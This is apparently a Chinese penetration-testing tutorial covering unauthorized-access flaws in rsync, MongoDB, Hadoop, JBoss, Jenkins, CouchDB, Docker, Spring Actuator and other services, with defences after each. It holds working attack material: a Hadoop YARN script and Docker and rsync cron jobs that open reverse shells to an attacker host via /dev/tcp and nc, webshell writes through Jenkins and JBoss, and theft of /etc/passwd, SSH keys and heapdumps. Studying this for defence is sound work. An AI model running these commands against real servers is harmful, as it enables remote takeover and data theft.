redis未授权访问
通过RESP工具连接
rsync未授权访问
漏洞简介
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
默认无账号密码,可直接访问
漏洞利用
nmap扫描端口
发现rsync端口开启,进行下一步利用读取任意文件
1
2rsync rsync://192.168.16.128/
rsync rsync://192.168.16.128/src下载文件
1
rsync rsync://192.168.16.128/src/etc/passwd ./passwd.txt
上传任意文件
1
rsync passwd.txt rsync://192.168.16.128:873/src/
可以利用这个漏洞写入cron任务反弹shell或者写webshell、ssh公钥等等利用rsync反弹shell
1
2
3
4
5
6
7# 下载crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly1
2
3# 写入bash并赋权
vim nc
chmod 7771
2# 将文件上传至/etc/cron.hourly
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly1
2# 本地监听9999
nc -lnvp 9999
漏洞修复
思路:添加账号密码,绑定ip再启动服务
1 | #编辑rsync的配置文件 |
重启服务就可以了
mongodb未授权访问漏洞
mongodb简介
MongoDB 是一个基于分布式文件存储的数据库。由 **C++**语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。–菜鸟教程
漏洞简介
对外开放的MongoDB服务,未配置访问认证授权,无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。
漏洞成因
MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库。
1 | 3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。 |
环境搭建
1 | docker pull mongo #从镜像仓库中拉取或者更新指定镜像 |
验证漏洞
批量扫描未授权
1 | import socket |
漏洞利用
使用NoSQLBooster来连接
防范措施
- 新建管理账户开启MongoDB授权
新建终端[参数默认可以不加,若有自定义参数,才要加上,下同]
1 | mongod --port 27017 --dbpath /data/db1 |
另起一个终端,运行下列命令
1 | mongo --port 27017 |
管理员创建成功,现在拥有了用户管理员 用户名:adminUser 密码:adminPass
本地访问
bind 127.0.0.1修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情开启auth认证
/etc/mongodb.conf
auth = true
更多防范措施:https://www.freebuf.com/vuls/212799.html
hadoop未授权访问漏洞
漏洞简介
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器器直接在开放了了
Hadoop 机器器 HDFS 的 50070 端口及部分默认服务口口,黑客可以通过命令行操作多个目录下
的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
攻击方式
- 使用nmap扫描服务
Jetty是Servlet容器,类似于Tomcat
2. 验证漏洞
1 | curl -v -X POST 'http://39.104.106.129:8088/ws/v1/cluster/apps/new-application' |
根据返回值是否有application-id验证存在漏洞
访问 http://192.168.18.129:8088/cluster
- 利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
ElasticSearch未授权访问
0x01漏洞描述
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
0x02 漏洞危害
Elasticsearch默认9200端口对外开放且未进行验证,用于提供远程管理数据的功能,任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查。
0x03 漏洞验证
访问ES相关API,可直接读取敏感数据,甚至可以操作相关数据。
1 | http://localhost:9200/_plugin/head/ web管理界面 |
ES未授权敏感信息
0x04 修复建议
1、9200端口不要对外开放,如需开放,建议在安全组限制只允许指定IP才能访问9200端口;
// accept
1 | ## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9200 -j ACCEPT |
// drop
1 | ## iptables -I INPUT -p tcp --dport 9200 -j DROP |
// 保存规则并重启 iptables
1 | ## service iptables save |
2、为elasticsearch增加登录验证
https://cloud.tencent.com/developer/article/1620806
3、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证。
Jboss未授权访问
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
1 | /jmx-console |
环境搭建
这里使用我修改过的docker镜像
1 | docker search testjboss |
未授权访问测试
http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
部署shell
点击jboss.deployment进入应用部署页面
使用apache搭建远程木马服务器
访问木马地址http://
成功上传木马
访问http://192.168.18.129:8080/shell/
防御手段
-对jmx控制页面访问添加访问验证。
-进行JMX Console 安全配置。
Jenkins 未授权访问漏洞
漏洞简介以及危害
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
漏洞利用
环境介绍
1 | 目标靶机: kali |
环境搭建
1 | wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载 |
下载地址:http://mirrors.jenkins.io/
1 | dpkg -i jenkins_1.621_all.deb # 安装 |
1 | 开启Jenkins服务 |
1 | 浏览器访问http://192.168.18.129:8080/ |
未授权访问测试
访问http://192.168.18.129:8080/manage可以看到没有任何限制可以直接访问
Jenkins未授权访问写shell
1 | println "whoami".execute().text |
网站路径:/var/www/html (需要具备一定的权限)
利用“脚本命令行”写webshell,点击运行没有报错,写入成功
1 | new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>'); |
访问shell.php
更多利用方式可参考:https://www.secpulse.com/archives/2166.html
防御手段
-升级版本。
-添加认证,设置强密码复杂度及账号锁定。
-禁止把Jenkins直接暴露在公网。
VNC 未授权访问漏洞
漏洞简介以及危害
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
漏洞利用
环境介绍
1 | 目标靶机: Windows Server 2003 Standard Edition |
环境搭建
下载地址:https://archive.realvnc.com/download/open/4.0/
未授权访问测试
1 | vncviewer 192.168.15.8 |
##防御手段
-配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
-以最小普通权限身份运行操作系统。
Atlassian Crowd 未授权访问漏洞
漏洞简介以及危害
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
漏洞利用
环境介绍
1 | 目标靶机:Centos |
环境搭建
1 | wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip |
1 | cd atlassian-crowd-3.4.3 |
1 | ./start_crowd.sh |
访问http://192.168.18.138:8095 点击Set up Crowd
可以在这里申请试用30天https://my.atlassian.com/products/index 并填写license
进行下一步安装,直到安装完成。
未授权访问测试
进行上传一个标准的插件,来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar
1 | curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v |
Atlassian Crowd RCE
漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580
1 | git clone https://github.com/jas502n/CVE-2019-11580 |
防御手段
-设置访问/crowd/admin/uploadplugin.action的源ip。
-升级最新版本(3.5.0以上)。
CouchDB 未授权访问漏洞
漏洞简介以及危害
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
漏洞利用
环境介绍
1 | 目标靶机:Kali |
环境搭建
1 | mkdir couchdb |
1 | docker-compose up -d |
未授权访问测试
1 | curl http://192.168.18.129:5984 |
任意命令执行
本机python运行http服务
1 | python -m SimpleHTTPServer 9999 |
1 | #依次执行如下命令 |
nmap扫描
1 | nmap -p 5984 --script "couchdb-stats.nse" {target_ip} |
防御手段
-绑定指定ip。
-设置访问密码。
Jupyter Notebook 未授权访问漏洞
漏洞简介以及危害
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
漏洞利用
环境介绍
1 | 目标靶机:Kali |
环境搭建
1 | wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml |
未授权访问测试
利用terminal命令执行
防御手段
-开启身份验证,防止未经授权用户访问。
-访问控制策略,限制IP访问,绑定固定IP。
ZooKeeper 未授权访问漏洞
漏洞简介以及危害
zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
漏洞利用
环境介绍
1 | 目标靶机:Centos |
环境搭建
1 | #搭建环境 |
未授权访问测试
1 | #获取该服务器的环境 |
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
防御手段
-修改 ZooKeeper 默认端口,采用其他端口服务。
-添加访问控制,配置服务来源地址限制策略。
-增加 ZooKeeper 的认证配置。
Memcached 未授权访问漏洞
漏洞简介以及危害
Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。
漏洞利用
环境介绍
1 | 目标靶机: Windows Server 2012 |
环境搭建
64位系统 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip
1 | 解压压缩包到指定目录 |
1 | 启动服务: |
1 | 查看进程服务以及端口 |
未授权访问测试
为了方便测试这里将防火墙关闭
1 | telnet 10.0.4.138 11211 或 nc -vv <target> 11211 |
1 | stats #查看memcache服务状态 |
nmap检测
1 | 地址:https://svn.nmap.org/nmap/scripts/memcached-info.nse |
防御手段
-设置Memchached只允许本地访问。
-禁止外网访问Memcached 11211端口。
-配置访问控制策略。
-最小化权限运行。
-修改默认端口等。
Docker 未授权访问漏洞
漏洞简介以及危害
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
漏洞利用
环境介绍
1 | 目标靶机: Kali |
环境搭建
1 | # 下载环境 |
1 | chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限 |
未授权访问测试
1 | docker -H tcp://192.168.15.5:2375 version |
通过crontab反弹宿主机shell
1 | # vps监听9999端口 |
1 | # 启动容器 |
1 | docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器 |
或者一次性启动容器,省去关容器的步骤
1 | docker -H tcp://10.164.9.4:2375 run --rm -it -v /:/mnt 8201fd692927 chroot /mnt sh |
反弹shell
1 | echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务 |
写入ssh公钥
1 | # 创建容器并且将/mnt作为根目录 |
也可以直接利用python脚本
1 | import docker |
Docker 未授权访问漏洞利用脚本[没试过]
1 | https://github.com/Tycx2ry/docker_api_vul |
防御手段
-简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。
-修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。
Spring actuator未授权访问
Actuator组件为Spring Boot提供对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。
如果Actuator
使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。/heapdump
作为Actuator
组件最为危险的Web接口,如Actuator
配置不当,攻击者可无鉴权获取heapdump
堆转储文件,分析heapdump
堆转储文件进一步获取敏感信息。
常见的路径为
Spring boot 1.x版本,默认端点为
/heapdump
,下载的heapdump文件包含时间以及后缀hprof。Spring boot 2.x版本,默认端点为
/Actuator/heapdump
,需要将下载的heapdump文件加上.hprof后缀。
通过heapdump可以下载敏感堆转储文件,通过heapdump_tool进行读取
1 | root@wy:~# |